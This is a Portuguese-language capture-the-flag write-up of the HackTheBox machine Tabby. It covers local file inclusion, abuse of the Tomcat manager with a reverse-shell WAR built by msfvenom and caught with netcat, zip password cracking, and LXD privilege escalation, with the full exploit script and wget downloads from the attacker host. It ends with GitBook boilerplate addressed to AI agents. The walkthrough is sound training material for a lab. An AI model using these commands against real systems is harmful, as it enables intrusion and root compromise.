> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/linux-easy/tabby-hackthebox-writeup.md).

# Relato do HackTheBox Tabby

{% embed url="<https://app.hackthebox.com/machines/259>" %}

{% hint style="warning" %}
**Habilidades:**

* Inclusão de Arquivo Local (LFI)
* Abusando do Tomcat Virtual Host Manager
* Abusando do Gerenciador Baseado em Texto do Tomcat - Implantar WAR Malicioso (Método Curl)
* Exploração do LXD (Escalação de Privilégios)
  {% endhint %}

## Reconhecimento

**Configuração do ambiente de trabalho:**

Configure o ambiente de trabalho criando três pastas para armazenar conteúdo importante, exploits e resultados de reconhecimento do Nmap.

<figure><img src="/files/aa714a2dc575aeb81d6d4a34357082dcaf5c56b4" alt="" width="563"><figcaption></figcaption></figure>

**Verificação de conectividade da VPN**

Verifique a conectividade da VPN para garantir comunicação estável com a máquina-alvo.

<figure><img src="/files/401221bf39267c1f816b0d2f7c008b04beb2f17d" alt="" width="563"><figcaption></figcaption></figure>

**Descoberta de portas abertas com Nmap:**

Enumere as portas abertas e exporte os resultados para o arquivo "allPorts" no diretório do Nmap:

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.10.194 -oG allPorts
```

<figure><img src="/files/c9fb3aab1a2e4385136990ba35a8d0762db761ad" alt="" width="563"><figcaption></figcaption></figure>

**Análise de portas abertas com extractPorts:**

Use a função extractPorts para exibir as portas abertas em um formato conciso e copiá-las para a área de transferência.

<figure><img src="/files/b4d62a79e5eb9ebe6178a9f386e3c58a0284cd0f" alt="" width="563"><figcaption></figcaption></figure>

**Varredura de versão de portas com Nmap:**

Use o Nmap para verificar as versões dos serviços e salvar a saída no arquivo "targeted":

```bash
nmap -sCV -p22,80,8080 10.10.10.194 -oN targeted
```

<figure><img src="/files/41eccd374e752b6291f367486978717e5f476617" alt=""><figcaption></figcaption></figure>

Para resolver nomes de domínio em endereços IP via DNS, insira o nome de domínio associado ao seu endereço IP no `/etc/hosts` arquivo.

<figure><img src="/files/a796b8ad8af30750fb2f837b7b0bb7ad2af883a5" alt=""><figcaption></figcaption></figure>

### **Porta 80:**

<figure><img src="/files/25be95176a0a4f8d842509a3238d854cb4f3f217" alt=""><figcaption></figcaption></figure>

**Busca de diretórios:**

Usamos o Gobuster para pesquisar diretórios no site:

```bash
gobuster dir -u http://megahosting.htb -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100
```

* **Resultados:** `assets`, `files`, e `server-status`.

<figure><img src="/files/c72fd454c7a016272d7edfacba4c6860efe60bf0" alt=""><figcaption></figcaption></figure>

Buscar subdomínios:

```bash
gobuster vhost -u http://megahosting.htb -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -t 100 | grep -v "400"
```

<figure><img src="/files/ed70deea404cf5075ded4e0343b0292cdf1b951d" alt=""><figcaption></figcaption></figure>

## Vulnerabilidade LFI:

Acesse o arquivo vulnerável `new.php` por meio de uma `?file` variável na `instrução` pasta.

<figure><img src="/files/f708ef3f1c3cfc0b0ed04bab0919ebe6647c1036" alt=""><figcaption></figcaption></figure>

**Testando inclusão local de arquivos (LFI)**:

`http://megahosting.htb/news.php?file=../../../../etc/passwd`

<figure><img src="/files/94b5c4eba445e108aae14ac3067a35f97bcbc690" alt=""><figcaption></figcaption></figure>

* **Resultado:** Acesso ao arquivo `/etc/passwd`, revelando dois usuários: `ash` e `root`.

**Tentativa de acessar a chave privada SSH de Ash**:

`?file=../../../../../../../home/ash/.ssh/id_rsa`

* **Resultado:** Acesso negado.

<figure><img src="/files/7616cb0fc179f5ecd2abf4cbd0e931fdb457b6a9" alt=""><figcaption></figcaption></figure>

**Pesquisar portas internas** por meio do `/proc/net/tcp` arquivo para identificar serviços ocultos:

<figure><img src="/files/3135b26136380c7c9b4f23537e2f22743b799155" alt=""><figcaption></figcaption></figure>

**Pesquisar portas internas** por meio do `/proc/net/tcp` arquivo para identificar serviços ocultos:

```bash
curl -s -X GET "http://megahosting.htb/news.php?file=../../../../../../../proc/net/tcp" |
awk 'NR>1 { 
    # Obtenha o campo local_address
    split($2, addr_port, ":");
    
    # Converta o endereço para o formato IP
    hex_addr = addr_port[1];
    ip = sprintf("%d.%d.%d.%d", 
                 strtonum("0x" substr(hex_addr, 7, 2)), 
                 strtonum("0x" substr(hex_addr, 5, 2)), 
                 strtonum("0x" substr(hex_addr, 3, 2)), 
                 strtonum("0x" substr(hex_addr, 1, 2)));

    # Converta a porta para decimal
    port = strtonum("0x" addr_port[2]);
    
    # Exiba o resultado no formato IP:Porta
    printf "%s:%d/n", ip, port;
}'
```

**Resultado:** Descoberta da porta interna `34650`

<figure><img src="/files/68c7c8f2ca669fc1534ffb398ba69bedf5f7dfed" alt="" width="563"><figcaption></figcaption></figure>

### **Exploração do Tomcat Virtual Host Manager (Porta 8080)**

**Acessando o Tomcat** pela porta 8080 e procurando informações de autenticação. Por padrão, elas são armazenadas em `/etc/tomcat9/tomcat-users.xml`  ou `usr/share/tomcat9/etc/tomcat-users.xml`

<figure><img src="/files/f1f028b36f59e981a8a0090e50fc5123481ec20d" alt=""><figcaption></figcaption></figure>

**Credenciais** encontrado:

`nome de usuário = tomcat`

`senha = $3cureP4s5w0rd123!`

<figure><img src="/files/4d5b38bc7356176159e12fec732e0b86414c0bed" alt=""><figcaption></figcaption></figure>

**Tentar acessar** `/manager/html` retornando erro 403.<br>

<figure><img src="/files/eaa465e129594f4a0c59b3e0d5b6c625931e0ddf" alt=""><figcaption></figcaption></figure>

1. **Alternativa via `/host-manager/html`**, mas sem conseguir criar uma aplicação com um `.war` arquivo.

{% embed url="<https://www.certilience.fr/2019/03/tomcat-exploit-variant-host-manager/>" %}

<figure><img src="/files/4dea9ee2e5e6c82dd5c0195eafc6287dd7b90033" alt=""><figcaption></figcaption></figure>

### **Exploração do Tomcat Baseado em Texto**

**Listar aplicativos de linha de comando**:

```bash
curl -u 'tomcat:$3cureP4s5w0rd123!' -s -X GET "http://megahosting.htb:8080/manager/text/list"
```

<figure><img src="/files/dacad1f9ec020a82364d7ec8068df26276e5ad42" alt=""><figcaption></figcaption></figure>

**Criando um arquivo WAR para Reverse Shell** por `msfvenom`:

{% code overflow="wrap" fullWidth="false" %}

```bash
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.7 LPORT=443 -f war -o reverse.war
```

{% endcode %}

<figure><img src="/files/c7e540e766e15886d266709aa4aefaf8d9bc4a43" alt="" width="563"><figcaption></figcaption></figure>

**Implantação do arquivo WAR** via Curl:

{% code overflow="wrap" %}

```bash
curl -s -u 'tomcat:$3cureP4s5w0rd123!' "http://megahosting.htb:8080/manager/text/deploy?path=/reverse" --upload-file reverse.war
```

{% endcode %}

<figure><img src="/files/3d74b658e16c977695961791b07a6429cb01f427" alt=""><figcaption></figcaption></figure>

**Aguardando conexão da reverse shell**

```bash
nc -nlvp 443 
```

**Acesso à reverse shell** via URL `http://megahosting.htb:8080/reverse`.

<figure><img src="/files/ba9dd2d95f41604a4ed39f8bb9386ce77b223dc0" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/a6df7471dd1782dd0b69ebbd58b9a890d286fd5d" alt="" width="563"><figcaption></figcaption></figure>

#### Tratamento do terminal

Depois de obter acesso ao servidor Linux, aqui estão os comandos para realizar o tratamento do terminal

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

#### Estabilize a shell para um trabalho mais confortável. <a href="#stabilize-the-shell" id="stabilize-the-shell"></a>

## Escalada de privilégio:

**Explorando a `/var/www/html`** pasta/ Ao examinar o conteúdo dessa pasta, descobrimos uma pasta `files` contendo um arquivo de backup: `16162020_backup.zip`.

**Transferindo o `.zip` arquivo para a máquina local**

Para facilitar a análise, transferimos o arquivo compactado para nossa máquina local iniciando um servidor HTTP com Python:

```bash
python3 -m http.server 655
```

<figure><img src="/files/5466809b84bde7f3f201d1e19e3f62b8c4b4e4c7" alt=""><figcaption></figcaption></figure>

### Força bruta no arquivo .zip:

**Descompactação do arquivo `.zip` - Força bruta da senha**/ O `.zip` o arquivo está protegido por senha.

<figure><img src="/files/85eaa7e9007697c208e5df2288ed32c9292cb5a1" alt="" width="563"><figcaption></figcaption></figure>

**Extração de hash com `zip2john`**:

Então vamos usar o zip2john para extrair o hash

```bash
zip2john 16162020_backup.zip > hash
```

<figure><img src="/files/b98c7768a972d6085f06c8fb3f49ec8e0d8c6328" alt=""><figcaption></figcaption></figure>

**Quebra de senha com `john`**:

<pre class="language-bash"><code class="lang-bash"><strong>john -w:/usr/share/SecLists/Passwords/Leaked-Databases/rockyou.txt hash
</strong></code></pre>

**Resultado**: Senha encontrada - `admin@it`.

<figure><img src="/files/627087cab9368dfca7c4116226a2fd3ad5946e3e" alt=""><figcaption></figcaption></figure>

**Descompactação e análise do conteúdo**/ Use a senha para descompactar o arquivo:

<figure><img src="/files/ebf558a8f3b148183249171fdc79391c2e05fe9f" alt="" width="563"><figcaption></figcaption></figure>

A descompactação cria uma `var` pasta contendo alguns arquivos úteis. No entanto, a `admin@it` senha também funciona para o `ash` usuário na máquina alvo.

### Flag User.txt

<figure><img src="/files/8895e13f25f30afbbc3c9ab08efedc23166adce7" alt="" width="563"><figcaption></figcaption></figure>

### Exploração do LXD:

**Identifique que o usuário `ash` pertence ao `lxd` grupo**:

Ao verificar os grupos aos quais o usuário `ash` pertence, percebemos que ele faz parte do `lxd` grupo, o que permite explorar o LXC para obter privilégios de root.

<figure><img src="/files/8b262a17ed78cf5539734835b32d197d6f7c8ff5" alt=""><figcaption></figcaption></figure>

**Baixando e preparando o exploit**:

Use `searchsploit` para obter o script de exploração da vulnerabilidade do LXC (CVE-2020-16941)

<figure><img src="/files/d4f7dea170e2e70ba36c1ff3df9b0d8c0abe844e" alt="" width="563"><figcaption></figcaption></figure>

Este script permite explorar a vulnerabilidade do LXC para executar comandos com privilégios elevados.

**Conteúdo do script de exploit (46978.sh)**:

<pre class="language-bash"><code class="lang-bash">#!/usr/bin/env bash

<strong>function helpPanel(){
</strong>  echo -e "/nUso:"
  echo -e "/t[-f] Nome do arquivo (.tar.gz arquivo alpine)"
  echo -e "/t[-h] Mostrar este painel de ajuda/n"
  exit 1
}

function createContainer(){
  lxc image import $filename --alias alpine &#x26;&#x26; lxd init --auto
  echo -e "[*] Listando imagens.../n" &#x26;&#x26; lxc image list
  lxc init alpine privesc -c security.privileged=true
  lxc config device add privesc giveMeRoot disk source=/ path=/mnt/root recursive=true
  lxc start privesc
  lxc exec privesc sh
  cleanup
}

function cleanup(){
  echo -en "/n[*] Removendo contêiner..."
  lxc stop privesc &#x26;&#x26; lxc delete privesc &#x26;&#x26; lxc image delete alpine
  echo " [√]"
}

set -o nounset
set -o errexit

declare -i parameter_enable=0; while getopts ":f:h:" arg; do
  case $arg in
    f) filename=$OPTARG &#x26;&#x26; let parameter_enable+=1;;
    h) helpPanel;;
  esac
done

if [ $parameter_enable -ne 1 ]; then
  helpPanel
else
  createContainer
fi
</code></pre>

* O script nos permite criar um contêiner LXC com privilégios elevados, o que permite obter acesso root na máquina alvo.

**Baixando o arquivo de imagem Alpine e o script:**

Clone o repositório contendo os arquivos necessários para a exploração e transfira-os para sua máquina por meio de um servidor HTTP local.

```bash
git clone https://github.com/saghul/lxd-alpine-builder
```

Inicie um servidor HTTP local para disponibilizar o arquivo e o script

```bash
python3 -m http.server 80
```

Na máquina alvo, baixe o script e o arquivo de imagem:

```bash
cd /tmp
wget http://10.10.14.7/46978.sh
wget http://10.10.14.7/alpine-v3.13-x86_64-20210218_0139.tar.gz
```

<figure><img src="/files/516ae90fe7589cac56d15d39c953aa0433754765" alt=""><figcaption></figcaption></figure>

**Atualização do PATH**:

Ajuste o `PATH` para garantir que os comandos LXC sejam interpretados corretamente.

```bash
export PATH=/home/jordan/.local/bin:/snap/bin:/usr/sandbox:/opt/nvim-linux64/bin:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games:/usr/share/games:/usr/local/sbin:/usr/sbin:/sbin:/opt/kitty/bin:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games:/home/jordan/.fzf/bin:/usr/local/bin
```

**Executando o script de exploração**

Execute o script com o arquivo de imagem Alpine baixado para explorar a vulnerabilidade e obter uma shell root:

```bash
./lxd.sh -f alpine-v3.13-x86_64-20210218_0139.tar.gz
```

<figure><img src="/files/2be353469e74dad199af9bee661bda3e82ff33c1" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/8279565fdd0dcbbaa2f293207a2b2af003147888" alt=""><figcaption></figcaption></figure>

Para sair do contêiner, basta ir para o `/mnt/root` diretório.

### Flag root :)

<figure><img src="/files/f49be816d22e248714511ec9fd561040f2693c6d" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/8406cf2af4ff9a71ebc0df3b99a897c732bab366" alt="" width="522"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/linux-easy/tabby-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
